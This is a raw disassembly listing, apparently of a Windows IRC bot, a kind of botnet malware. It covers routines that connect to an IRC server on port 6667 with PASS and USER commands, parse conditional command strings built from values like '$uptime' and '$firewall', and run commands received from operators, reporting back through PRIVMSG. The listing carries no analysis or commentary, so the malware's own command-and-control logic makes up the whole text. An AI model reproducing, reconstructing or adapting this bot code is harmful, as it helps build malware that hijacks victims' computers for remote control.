		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_63C4],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_63D4],	eax
		mov	eax, [ebp+var_63D8]
		cmp	eax, [ebp+var_63C8]
		jnb	short loc_40C715
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C715:				; CODE XREF: sub_40A9CF+1D3Fj
		call	sub_409318
		mov	[ebp+var_63C0],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_63CC],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_63DC],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_63D0],	eax
		cmp	[ebp+var_63D0],	1
		jnz	short loc_40C793
		mov	[ebp+var_6410],	offset byte_41DE30
		jmp	short loc_40C79D
; ---------------------------------------------------------------------------

loc_40C793:				; CODE XREF: sub_40A9CF+1DB6j
		mov	[ebp+var_6410],	offset dword_4191F4

loc_40C79D:				; CODE XREF: sub_40A9CF+1DC2j
		cmp	[ebp+var_63DC],	1
		jnz	short loc_40C7B2
		mov	[ebp+var_6414],	offset byte_41DE30
		jmp	short loc_40C7BC
; ---------------------------------------------------------------------------

loc_40C7B2:				; CODE XREF: sub_40A9CF+1DD5j
		mov	[ebp+var_6414],	offset dword_4191F4

loc_40C7BC:				; CODE XREF: sub_40A9CF+1DE1j
		cmp	[ebp+var_63CC],	1
		jnz	short loc_40C7D1
		mov	[ebp+var_6418],	offset byte_41DE30
		jmp	short loc_40C7DB
; ---------------------------------------------------------------------------

loc_40C7D1:				; CODE XREF: sub_40A9CF+1DF4j
		mov	[ebp+var_6418],	offset dword_4191F4

loc_40C7DB:				; CODE XREF: sub_40A9CF+1E00j
		cmp	[ebp+var_63D4],	1
		jnz	short loc_40C7F0
		mov	[ebp+var_641C],	offset byte_41DE30
		jmp	short loc_40C7FA
; ---------------------------------------------------------------------------

loc_40C7F0:				; CODE XREF: sub_40A9CF+1E13j
		mov	[ebp+var_641C],	offset dword_4191F4

loc_40C7FA:				; CODE XREF: sub_40A9CF+1E1Fj
		cmp	[ebp+var_63C4],	1
		jnz	short loc_40C80F
		mov	[ebp+var_6420],	offset byte_41DE30
		jmp	short loc_40C819
; ---------------------------------------------------------------------------

loc_40C80F:				; CODE XREF: sub_40A9CF+1E32j
		mov	[ebp+var_6420],	offset dword_4191F4

loc_40C819:				; CODE XREF: sub_40A9CF+1E3Ej
		cmp	[ebp+var_63D8],	1
		jnz	short loc_40C82E
		mov	[ebp+var_6424],	offset byte_41DE30
		jmp	short loc_40C838
; ---------------------------------------------------------------------------

loc_40C82E:				; CODE XREF: sub_40A9CF+1E51j
		mov	[ebp+var_6424],	offset dword_4191F4

loc_40C838:				; CODE XREF: sub_40A9CF+1E5Dj
		push	[ebp+var_6410]
		push	[ebp+var_63D0]
		push	[ebp+var_6414]
		push	[ebp+var_63DC]
		push	[ebp+var_6418]
		push	[ebp+var_63CC]
		push	[ebp+var_641C]
		push	[ebp+var_63D4]
		push	[ebp+var_6420]
		push	[ebp+var_63C4]
		push	[ebp+var_6424]
		push	[ebp+var_63D8]
		push	offset dword_419708
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 38h
		jmp	short loc_40C912
; ---------------------------------------------------------------------------

loc_40C896:				; CODE XREF: sub_40A9CF+1C94j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419700
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C912
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C8BD
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40C8BF

loc_40C8BD:				; CODE XREF: sub_40A9CF+1EE3j
		jmp	short loc_40C912
; ---------------------------------------------------------------------------

loc_40C8BF:				; CODE XREF: sub_40A9CF+1EECj
		push	2
		push	offset aId	; "id"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40C8EA
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		push	offset byte_41EEC8
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40C8EA:				; CODE XREF: sub_40A9CF+1F07j
		push	offset aUsername ; "username"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40C912
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		push	offset byte_41F048
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40C912:				; CODE XREF: sub_40A9CF+85j
					; sub_40A9CF+D8j ...
		pop	edi
		pop	esi
		leave
		retn
sub_40A9CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C916	proc near		; CODE XREF: sub_40CA29+47Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp

loc_40C919:				; CODE XREF: sub_40C916+1Fj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_40C937
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C937
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		jmp	short loc_40C919
; ---------------------------------------------------------------------------

loc_40C937:				; CODE XREF: sub_40C916+Cj
					; sub_40C916+16j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40C916	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C93C	proc near		; DATA XREF: sub_40CEB0+66o

var_534		= dword	ptr -534h
var_530		= byte ptr -530h
var_38F		= byte ptr -38Fh
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 534h
		push	327h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_534]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_208]
		push	eax
		push	offset asc_419F48 ; ";"
		lea	eax, [ebp+var_530]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_204], eax
		and	[ebp+var_20C], 0

loc_40C98D:				; CODE XREF: sub_40C93C+D6j
		cmp	[ebp+var_204], 0
		jnz	short loc_40C998
		jmp	short loc_40CA17
; ---------------------------------------------------------------------------

loc_40C998:				; CODE XREF: sub_40C93C+58j
					; sub_40C93C+79j
		mov	eax, [ebp+var_204]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40C9A8
		jmp	short loc_40C9B7
; ---------------------------------------------------------------------------

loc_40C9A8:				; CODE XREF: sub_40C93C+68j
		mov	eax, [ebp+var_204]
		inc	eax
		mov	[ebp+var_204], eax
		jmp	short loc_40C998
; ---------------------------------------------------------------------------

loc_40C9B7:				; CODE XREF: sub_40C93C+6Aj
		push	[ebp+var_204]
		lea	eax, [ebp+var_38F]
		push	eax
		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40E618
		pop	ecx
		lea	eax, [ebp+var_208]
		push	eax
		push	offset asc_419F48 ; ";"
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_20C]
		mov	[ebp+var_204], eax
		jmp	loc_40C98D
; ---------------------------------------------------------------------------

loc_40CA17:				; CODE XREF: sub_40C93C+5Aj
		push	[ebp+var_534]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40C93C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA29	proc near		; CODE XREF: sub_40CEB0+8p

var_1EC		= dword	ptr -1ECh
var_1E8		= byte ptr -1E8h
var_1C8		= byte ptr -1C8h
var_1A8		= dword	ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= byte ptr -1A0h
var_190		= byte ptr -190h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1ECh
		cmp	[ebp+arg_0], 0
		jz	short loc_40CA43
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 28h
		jz	short loc_40CA4A

loc_40CA43:				; CODE XREF: sub_40CA29+Dj
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------

loc_40CA4A:				; CODE XREF: sub_40CA29+18j
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		push	offset asc_419FB0 ; ")"
		push	[ebp+arg_0]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_40CA70
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------

loc_40CA70:				; CODE XREF: sub_40CA29+3Ej
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_0]
		inc	eax
		cmp	eax, 180h
		jbe	short loc_40CA8A
		mov	[ebp+var_1EC], 180h
		jmp	short loc_40CA97
; ---------------------------------------------------------------------------

loc_40CA8A:				; CODE XREF: sub_40CA29+53j
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+var_1EC], eax

loc_40CA97:				; CODE XREF: sub_40CA29+5Fj
		push	[ebp+var_1EC]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1
		push	1
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_407C2C
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		push	offset asc_419FAC ; "&&"
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		and	[ebp+var_C], 0

loc_40CAE1:				; CODE XREF: sub_40CA29+475j
		cmp	[ebp+var_4], 0
		jnz	short loc_40CAEC
		jmp	loc_40CEA3
; ---------------------------------------------------------------------------

loc_40CAEC:				; CODE XREF: sub_40CA29+BCj
					; sub_40CA29+D7j
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40CAF9
		jmp	short loc_40CB02
; ---------------------------------------------------------------------------

loc_40CAF9:				; CODE XREF: sub_40CA29+CCj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40CAEC
; ---------------------------------------------------------------------------

loc_40CB02:				; CODE XREF: sub_40CA29+CEj
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		push	offset a32s16s32s ; "%32s %16s %32s"
		push	[ebp+var_4]
		call	sub_416BA2	; sscanf
		add	esp, 14h
		cmp	eax, 3
		jz	short loc_40CB33
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------

loc_40CB33:				; CODE XREF: sub_40CA29+101j
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1A4], eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1A8], eax
		cmp	[ebp+var_1A4], 0
		jnz	loc_40CC6E
		push	offset dword_418F50
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40CC6E
		push	offset aUptime	; "$uptime"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBB1
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_1A4], eax
		jmp	loc_40CC6E
; ---------------------------------------------------------------------------

loc_40CBB1:				; CODE XREF: sub_40CA29+16Dj
		push	offset aVersion	; "$version"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBD7
		mov	[ebp+var_1A4], 3B6h
		jmp	loc_40CC6E
; ---------------------------------------------------------------------------

loc_40CBD7:				; CODE XREF: sub_40CA29+19Dj
		push	offset aFree_0	; "$free"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBFB
		call	sub_408E8E
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------

loc_40CBFB:				; CODE XREF: sub_40CA29+1C3j
		push	offset aLatency	; "$latency"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC1F
		call	sub_408887
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------

loc_40CC1F:				; CODE XREF: sub_40CA29+1E7j
		push	offset aFirewall ; "$firewall"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC43
		call	sub_404279
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------

loc_40CC43:				; CODE XREF: sub_40CA29+20Bj
		push	offset aIpv6	; "$ipv6"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC67
		call	sub_4043E9
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------

loc_40CC67:				; CODE XREF: sub_40CA29+22Fj
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------

loc_40CC6E:				; CODE XREF: sub_40CA29+137j
					; sub_40CA29+152j ...
		cmp	[ebp+var_1A8], 0
		jnz	loc_40CD83
		push	offset dword_418F50
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40CD83
		push	offset aUptime	; "$uptime"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CCC6
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_1A8], eax
		jmp	loc_40CD83
; ---------------------------------------------------------------------------

loc_40CCC6:				; CODE XREF: sub_40CA29+282j
		push	offset aVersion	; "$version"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CCEC
		mov	[ebp+var_1A8], 3B6h
		jmp	loc_40CD83
; ---------------------------------------------------------------------------

loc_40CCEC:				; CODE XREF: sub_40CA29+2B2j
		push	offset aFree_0	; "$free"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD10
		call	sub_408E8E
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------

loc_40CD10:				; CODE XREF: sub_40CA29+2D8j
		push	offset aLatency	; "$latency"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD34
		call	sub_408887
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------

loc_40CD34:				; CODE XREF: sub_40CA29+2FCj
		push	offset aFirewall ; "$firewall"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD58
		call	sub_404279
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------

loc_40CD58:				; CODE XREF: sub_40CA29+320j
		push	offset aIpv6	; "$ipv6"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD7C
		call	sub_4043E9
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------

loc_40CD7C:				; CODE XREF: sub_40CA29+344j
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------

loc_40CD83:				; CODE XREF: sub_40CA29+24Cj
					; sub_40CA29+267j ...
		push	offset asc_419F5C ; "=="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CDAF
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jz	short loc_40CDAF
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------

loc_40CDAF:				; CODE XREF: sub_40CA29+36Fj
					; sub_40CA29+37Dj
		push	offset asc_419F58 ; "!="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CDDB
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jnz	short loc_40CDDB
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------

loc_40CDDB:				; CODE XREF: sub_40CA29+39Bj
					; sub_40CA29+3A9j
		push	offset asc_419F54 ; ">"
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE07
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		ja	short loc_40CE07
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------

loc_40CE07:				; CODE XREF: sub_40CA29+3C7j
					; sub_40CA29+3D5j
		push	offset asc_419F50 ; ">="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE30
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jnb	short loc_40CE30
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------

loc_40CE30:				; CODE XREF: sub_40CA29+3F3j
					; sub_40CA29+401j
		push	offset dword_419968
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE59
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jb	short loc_40CE59
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------

loc_40CE59:				; CODE XREF: sub_40CA29+41Cj
					; sub_40CA29+42Aj
		push	offset asc_419F4C ; "<="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE82
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jbe	short loc_40CE82
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------

loc_40CE82:				; CODE XREF: sub_40CA29+445j
					; sub_40CA29+453j
		lea	eax, [ebp+var_8]
		push	eax
		push	offset asc_419FAC ; "&&"
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		jmp	loc_40CAE1
; ---------------------------------------------------------------------------

loc_40CEA3:				; CODE XREF: sub_40CA29+BEj
		mov	eax, [ebp+var_10]
		inc	eax
		push	eax
		call	sub_40C916
		pop	ecx

locret_40CEAE:				; CODE XREF: sub_40CA29+1Cj
					; sub_40CA29+42j ...
		leave
		retn
sub_40CA29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEB0	proc near		; CODE XREF: sub_40A9CF+14CEp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_4]
		call	sub_40CA29
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40CEC9
		jmp	short locret_40CF23
; ---------------------------------------------------------------------------

loc_40CEC9:				; CODE XREF: sub_40CEB0+15j
		push	327h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40CEDF
		jmp	short locret_40CF23
; ---------------------------------------------------------------------------

loc_40CEDF:				; CODE XREF: sub_40CEB0+2Bj
		push	180h
		push	[ebp+var_8]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 184h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		push	offset aExecutingComma ; "Executing command(s):	%s"
		push	0
		push	[ebp+var_4]
		push	offset sub_40C93C
		call	sub_4095A4
		add	esp, 14h

locret_40CF23:				; CODE XREF: sub_40CEB0+17j
					; sub_40CEB0+2Dj
		leave
		retn
sub_40CEB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF25	proc near		; CODE XREF: sub_4020C2+B3p
					; sub_40D871+59Bp ...
		push	ebp
		mov	ebp, esp
		mov	eax, dword_41E9A4
		pop	ebp
		retn
sub_40CF25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF2F	proc near		; CODE XREF: sub_40D366+Dp
					; sub_40D366+8Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_40CF9E
		push	[ebp+arg_0]
		push	offset dword_41E898
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_40CF60
		push	[ebp+arg_4]
		push	offset dword_41E998
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40CF71
; ---------------------------------------------------------------------------

loc_40CF60:				; CODE XREF: sub_40CF2F+1Ej
		push	offset a6667	; "6667"
		push	offset dword_41E998
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40CF71:				; CODE XREF: sub_40CF2F+2Fj
		cmp	[ebp+arg_8], 0
		jz	short loc_40CF88
		push	[ebp+arg_8]
		push	offset byte_41E718
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40CF99
; ---------------------------------------------------------------------------

loc_40CF88:				; CODE XREF: sub_40CF2F+46j
		push	offset byte_41DE30
		push	offset byte_41E718
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40CF99:				; CODE XREF: sub_40CF2F+57j
		jmp	loc_40D020
; ---------------------------------------------------------------------------

loc_40CF9E:				; CODE XREF: sub_40CF2F+9j
		and	[ebp+var_4], 0
		jmp	short loc_40CFAB
; ---------------------------------------------------------------------------

loc_40CFA4:				; CODE XREF: sub_40CF2F+8Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_40CFAB:				; CODE XREF: sub_40CF2F+73j
		mov	eax, [ebp+var_4]
		imul	eax, 0Ch
		cmp	off_41DA68[eax], 0
		jz	short loc_40CFBC
		jmp	short loc_40CFA4
; ---------------------------------------------------------------------------

loc_40CFBC:				; CODE XREF: sub_40CF2F+89j
		call	sub_410422
		xor	edx, edx
		div	[ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	off_41DA68[eax]
		push	offset dword_41E898
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	off_41DA6C[eax]
		push	offset dword_41E998
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		cmp	dword_41DA70[eax], 0
		jz	short loc_40D020
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	dword_41DA70[eax]
		push	offset byte_41E718
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40D020:				; CODE XREF: sub_40CF2F:loc_40CF99j
					; sub_40CF2F+D7j
		push	offset dword_41E898
		call	sub_4105AD
		pop	ecx
		push	offset dword_41E998
		call	sub_4105AD
		pop	ecx
		push	offset byte_41E718
		call	sub_4105AD
		pop	ecx
		leave
		retn
sub_40CF2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D043	proc near		; CODE XREF: sub_40D366+7Fp
					; sub_40D871+619p

var_250		= dword	ptr -250h
var_24C		= byte ptr -24Ch
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_18C		= dword	ptr -18Ch
var_188		= dword	ptr -188h
var_184		= byte ptr -184h
var_104		= byte ptr -104h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 250h
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		movsx	eax, byte_41E718
		test	eax, eax
		jz	short loc_40D099
		push	offset byte_41E718
		call	sub_4105FB
		pop	ecx
		push	offset byte_41E718
		push	offset aPassS	; "PASS	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	offset byte_41E718
		call	sub_4105AD
		pop	ecx

loc_40D099:				; CODE XREF: sub_40D043+2Dj
		cmp	[ebp+arg_0], 0
		jz	loc_40D132
		movsx	eax, byte_41EEC8
		test	eax, eax
		jz	short loc_40D0C3
		push	offset byte_41EEC8
		lea	eax, [ebp+var_184]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40D0D6
; ---------------------------------------------------------------------------

loc_40D0C3:				; CODE XREF: sub_40D043+69j
		lea	eax, [ebp+var_184]
		push	eax
		push	offset byte_41EEC8
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40D0D6:				; CODE XREF: sub_40D043+7Ej
		movsx	eax, byte_41F048
		test	eax, eax
		jz	short loc_40D0F6
		push	offset byte_41F048
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40D109
; ---------------------------------------------------------------------------

loc_40D0F6:				; CODE XREF: sub_40D043+9Cj
		lea	eax, [ebp+var_104]
		push	eax
		push	offset byte_41F048
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40D109:				; CODE XREF: sub_40D043+B1j
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		push	offset aUserSSSS ; "USER %s %s %s :%s"
		call	sub_40D6CB
		add	esp, 14h

loc_40D132:				; CODE XREF: sub_40D043+5Aj
		cmp	[ebp+arg_4], 0
		jz	loc_40D363
		cmp	[ebp+arg_0], 0
		jz	short loc_40D163
		movsx	eax, byte_41EE48
		test	eax, eax
		jz	short loc_40D163
		push	offset byte_41EE48
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40D363
; ---------------------------------------------------------------------------

loc_40D163:				; CODE XREF: sub_40D043+FDj
					; sub_40D043+108j
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_188], eax
		cmp	[ebp+var_188], 4
		jnb	short loc_40D18D
